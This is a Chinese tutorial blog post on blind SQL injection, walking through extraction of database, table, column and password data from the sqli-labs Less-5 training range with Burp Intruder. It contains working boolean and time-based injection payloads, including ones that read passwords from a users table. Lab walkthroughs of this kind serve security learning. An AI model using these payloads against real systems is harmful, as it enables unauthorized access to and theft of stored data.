SQL注入-盲注 Burp盲注方法

news/2024/11/28 19:49:28/

文章目录

  • 判断库名位数
    • Burp 抓取数据包
    • 设置payload位置
    • 设置payload 1
    • 设置payload 2
    • 点击开始攻击
  • 判断库名下表名的位数
    • Burp 抓取数据包
    • 点击开始攻击
  • 判断库名下第二张表名
  • 判断表名下的字段名
  • 判断表中具体数据

什么是盲注?

有时目标存在注入,但在页面上没有如何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

盲注种类:

盲注函数解析

length()函数:返回字符串的长度
?id=1 and length(database()) > 1substr()函数:截取字符串,从第一位截取一个
?id=1 and substr(database(),1,1) = 'a'
substr(1,2,3)
第一个参数代表是我们截取的字符串
第二个参数代表截取的位数
第三个参数代表的是截取个数limit 0,1
0代表第一位
1代表个数时间型盲注
sleep() 将程序挂起一段时间n为n秒if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行,第二个语句错误就执行第三个语句
?id=1' and if(length(database())=8,10,sleep(5)) --+ascii()、ord():返回字段的ascll码值

**靶场sqli-labs - Less 5

判断库名位数

由length()函数判断可知,库名位数为8

?id=1' and length(database())=8 --+

Burp 抓取数据包

发送GET请求抓取数据包并发送到 intruder 模块

http://192.168.174.128:8081/Less-5/?id=1' and ascii(mid(database(),1,1)) = 97 --+

设置payload位置

‘1’ 代表的是截取的位数,'97’代表 ASCII 码表 总数为127,攻击类型设置:ClusterBomb

设置payload 1

payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 8. 间隔为1

设置payload 2

payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 126. 间隔为1,因为ASCII码数量总数为127

点击开始攻击

发现存在8位数,ASCII码分别对应:‘115’ ‘101’ ‘99’ ‘117’ ‘114’ ‘105’ ‘116’ ‘121’ 解码分析分别对应:‘s’ ‘e’ ‘c’ ‘u’ ‘r’ ‘i’ ‘t’ ‘y’ ,所以得到了库名为:“securtiy”

判断库名下表名的位数

由length()函数判断可知,表名位数为6

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

Burp 抓取数据包

发送GET请求抓取数据包并发送到 intruder 模块

?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1 --+

点击开始攻击

发现存在6位数,ASCII码分别对应:‘101’ ‘109’ ‘97’ ‘105’ ‘108’ ‘115’ 解码分析分别对应:‘e’ ‘m’ ‘a’ ‘i’ ‘l’ ‘s’ ,所以得到了表名为:“emails”

判断库名下第二张表名

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=x --+
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=x --+

判断表名下的字段名

?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=x --+
?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=x --+

判断表中具体数据

?id=1' and length((select password from users limit 0,1))>1 --+
?id=1' and ascii(mid((select password from users limit 0,1),1,1))=68 --+

http://www.ppmy.cn/news/1086716.html

相关文章

F#奇妙游(26):计算表达式浅尝

computation expression之一问三不知 计算表达式是一个有点难理解的东西。我把帮助全部看了一遍,记住了个上下文敏感的计算(contex-sensitive computation)。但是让我讲计算表达式是什么?为什么?怎么做?我…

Ubuntu入门04——目录与文件

目录 1.显示当前工作目录 2.更改目录 3.创建工作目录 4.删除工作目录 5.移动文件或者文件夹 6.文件夹and文件查看命令 7. 回到根目录,回到上一级 8.删除工作目录 9.查看目录和文件 10.以树状图列出目录内容 11.文件查找 12.在数据库中查找文件或目录 1…

线程、并发相关---第二篇

系列文章目录 文章目录 系列文章目录一、对线程安全的理解二、Thread、Runable的区别一、对线程安全的理解 不是线程安全、应该是内存安全,堆是共享内存,可以被所有线程访问 当多个线程访问一个对象时,如果不用进行额外的同步控制或其他的协调操作,调用这个对象的行为都可…

【Android-java】低级错误记录 构造函数的问题:我的对象为啥里面的东西都是空的呢??

问题 在debug的时候发现我的 labItem 对象里面的属性啥的都是空,这是为啥呢? 代码如下: 你现在是android高手。要求详细说明,举例代码,保证正确可运行,并支持当前主流的android版本。 /*** 选择Lab模式所…

Ceph基础知识和基础架构认识

1 Ceph基础介绍 Ceph是一个可靠地、自动重均衡、自动恢复的分布式存储系统,根据场景划分可以将Ceph分为三大块,分别是对象存储、块设备存储和文件系统服务。在虚拟化领域里,比较常用到的是Ceph的块设备存储,比如在OpenStack项目…

【ES6】CommonJS模块和ES6模块

在JavaScript中,模块是一种将功能代码组织成逻辑单元的方式,以便在其他项目中重复使用。有两种主要的模块系统:CommonJS和ES6。 1、CommonJS 在CommonJS中,我们使用require来引入模块,使用module.exports来导出模块。…

MyBatis中至关重要的关系映射----全方面介绍

目录 一 对于映射的概念 1.1 三种关系映射 1.2 resultType与resultMap的区别 resultType: resultMap: 二,一对一关联查询 2.1 嵌套结果集编写 2.2 案例演示 三,一对多关联查询 3.1 嵌套结果集编写 3.3 案例演示 四&…

WPF Border设置渐变色

背景色渐变 <Border> <Border.Resources> <Style TargetType"Border"> <Setter Property"Background"> …